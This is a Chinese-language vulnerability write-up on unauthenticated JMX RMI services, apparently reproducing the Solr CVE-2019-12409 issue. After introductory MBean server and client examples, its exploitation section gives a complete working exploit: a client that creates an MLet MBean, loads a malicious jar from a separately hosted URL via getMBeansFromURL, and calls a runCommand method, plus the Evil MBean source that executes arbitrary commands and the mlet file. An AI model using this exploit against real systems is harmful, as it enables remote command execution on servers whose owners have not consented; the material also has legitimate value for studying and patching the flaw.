0x00 前言

本来在复现solr的漏洞,后来发现这个漏洞是个通用的jmxrmi漏洞。

JMX是Java Management Extensions,它是一个Java平台的管理和监控接口。为什么要搞JMX呢?因为在所有的应用程序中,对运行中的程序进行监控都是非常重要的,Java应用程序也不例外。我们肯定希望知道Java应用程序当前的状态,例如,占用了多少内存,分配了多少内存,当前有多少活动线程,有多少休眠线程等等。如何获取这些信息呢?

JMX把所有被管理的资源都称为 MBean(Managed Bean),这些MBean全部由MBeanServer管理,如果要访问MBean,可以通过MBeanServer对外提供的访问接口,例如通过RMI或HTTP访问。

0x01 一些简单的🌰

创建一个接口

public interface HelloMBean {

    // getter and setter for the attribute "name"
    public String getName();
    public void setName(String newName);

    // Bean method "sayHello"
    public String sayHello();
}

实现该接口

public class Hello implements HelloMBean {

    private String name = "MOGWAI LABS";

    // getter/setter for the "name" attribute
    public String getName() { return this.name; }
    public void setName(String newName) { this.name = newName; }

    // Methods
    public String sayHello() { return "hello: " + name; }
}

启用一个jmx服务端口,需要先注册mbean,然后将mbean绑定到jmx端口

import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;

/**
 * Hello world!
 *
 */
public class App 
{
    public static void main( String[] args ) throws Exception {

        System.out.println( "Hello World!" );
        App app = new App();
        app.restartServer();
    }

    public void restartServer() throws Exception {
        MBeanServer server = ManagementFactory.getPlatformMBeanServer();
        try {
            // 注册一个MBean
            server.registerMBean(new Hello(), new ObjectName("domain1:key1=val1"));
            // 再注册一个MBean
            server.registerMBean(new Hello(), new ObjectName("domain1:key2=val2"));

        } catch (InstanceAlreadyExistsException | MBeanRegistrationException | NotCompliantMBeanException | MalformedObjectNameException e) {
            e.printStackTrace();
        }
        // 新启用一个端口号用于JMX连接
        LocateRegistry.createRegistry(9999);
        JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(
                new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi"),
                null,
                server);
        jcs.start();
    }
}

jmx客户端代码如下,用于连接远程的jmxserver并且打印mbean

import java.lang.management.ManagementFactory;
import java.util.Arrays;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class MBeanClient {

    public static void main(String[] args) throws Exception {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi");
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
        Set<ObjectName> objectNames = mBeanServerConnection.queryNames(null, null);
        for (ObjectName objectName : objectNames) {
            System.out.println("========" + objectName + "========");
            MBeanInfo mBeanInfo = mBeanServerConnection.getMBeanInfo(objectName);
            System.out.println("[Attributes]");
            for (MBeanAttributeInfo attr : mBeanInfo.getAttributes()) {
                Object value = null;
                try {
                    value = attr.isReadable() ? mBeanServerConnection.getAttribute(objectName, attr.getName()) : "";
                } catch (Exception e) {
                    value = e.getMessage();
                }
                System.out.println(attr.getName() + ":" + value);
            }
            System.out.println("[Operations]");
            for (MBeanOperationInfo oper : mBeanInfo.getOperations()) {
                System.out.println(oper.getName() + ":" + oper.getDescription());
            }
            System.out.println("[Notifications]");
            for (MBeanNotificationInfo notice : mBeanInfo.getNotifications()) {
                System.out.println(notice.getName() + ":" + notice.getDescription());
            }
        }
    }
}

classloader java 漏洞 javarmi漏洞_GetShell

注意移动的时候需要加上参数,我这里是idea直接加上

-Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false

classloader java 漏洞 javarmi漏洞_GetShell_02

同样可以使用jconsole连接进行查看

classloader java 漏洞 javarmi漏洞_漏洞分析_03

classloader java 漏洞 javarmi漏洞_Java代码审计_04

从以上例子可以看到,可以通过jmxrmi的远程服务进行调用。上面的例子即调用了Hello类的sayHello方法。

0x02 漏洞利用

前一个点已经讲过可以进行远程调用已在Mbean中加载的类和方法,但我们需要一个命令执行的类和方法,这个方法只能通过远程进行预加载进来,于是就有了另外一个方法,通过Mlet的getMbeanFromUrl方法进行远程加载恶意的jar包,再对其进行调用。

网上的例子有点小bug,当jar已经加载到内存中则会显示objectname已加载的错误,重新写了一个exp,若已被调用则直接调用该objectName

import java.lang.management.ManagementFactory;
import java.net.InetAddress;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class MBeanClient {

    public static void main(String[] args) throws Exception {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:10000/jmxrmi");
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        //System.out.println("123");
        MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
        ObjectInstance evilBean = null;
        ObjectInstance evil = null;
        Object expResult;
        try{
            evil = mBeanServerConnection.createMBean("javax.management.loading.MLet",null);
            Object loadEvilBean = mBeanServerConnection.invoke(evil.getObjectName(),"getMBeansFromURL",new Object[]{"http://127.0.0.1:10001/mlet"},new String[]{String.class.getName()});
            HashSet hashSet = ((HashSet)loadEvilBean);
            Iterator iterator = hashSet.iterator();
            Object theObject = iterator.next();

            evilBean = ((ObjectInstance)theObject);
            System.out.println(evilBean.getObjectName());
            expResult = mBeanServerConnection.invoke(evilBean.getObjectName(),"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
        } catch (Exception e) {
            ObjectName objectName = new ObjectName("MLetCompromise:name=evil,id=1");
            expResult = mBeanServerConnection.invoke(objectName,"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
        }
        System.out.println(expResult);
    }
}

另外重新编译

//EvilMBean.java
public interface EvilMBean {
    public String runCommand(String cmd);
}
import java.io.*;

public class Evil implements EvilMBean
{
    public String runCommand(String cmd)
    {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null)
            {
                stdout_err_data += s+"\n";
            }
            while ((s = stdError.readLine()) != null)
            {
                stdout_err_data += s+"\n";
            }
            proc.waitFor();
            return stdout_err_data;
        }
        catch (Exception e)
        {
            return e.toString();
        }
    }
}

编译成jar包,我这里直接idea build一下

classloader java 漏洞 javarmi漏洞_java_05

将jar包和mlet文件放到同个文件夹下,mlet内容如下,并且其中web服务

<html><mlet code="Exploit.Evil" archive="EvilJar.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:10001"></mlet></html>

注意,记住code的内容为jar包中的类的路径,name也要记住,因为后面在已加载成功以后第二次是无法利用的

classloader java 漏洞 javarmi漏洞_classloader java 漏洞_06

执行命令成功

classloader java 漏洞 javarmi漏洞_漏洞分析_07

0x03 参考

https://github.com/jas502n/CVE-2019-12409

https://www.anquanke.com/post/id/194126

https://www.anquanke.com/post/id/202686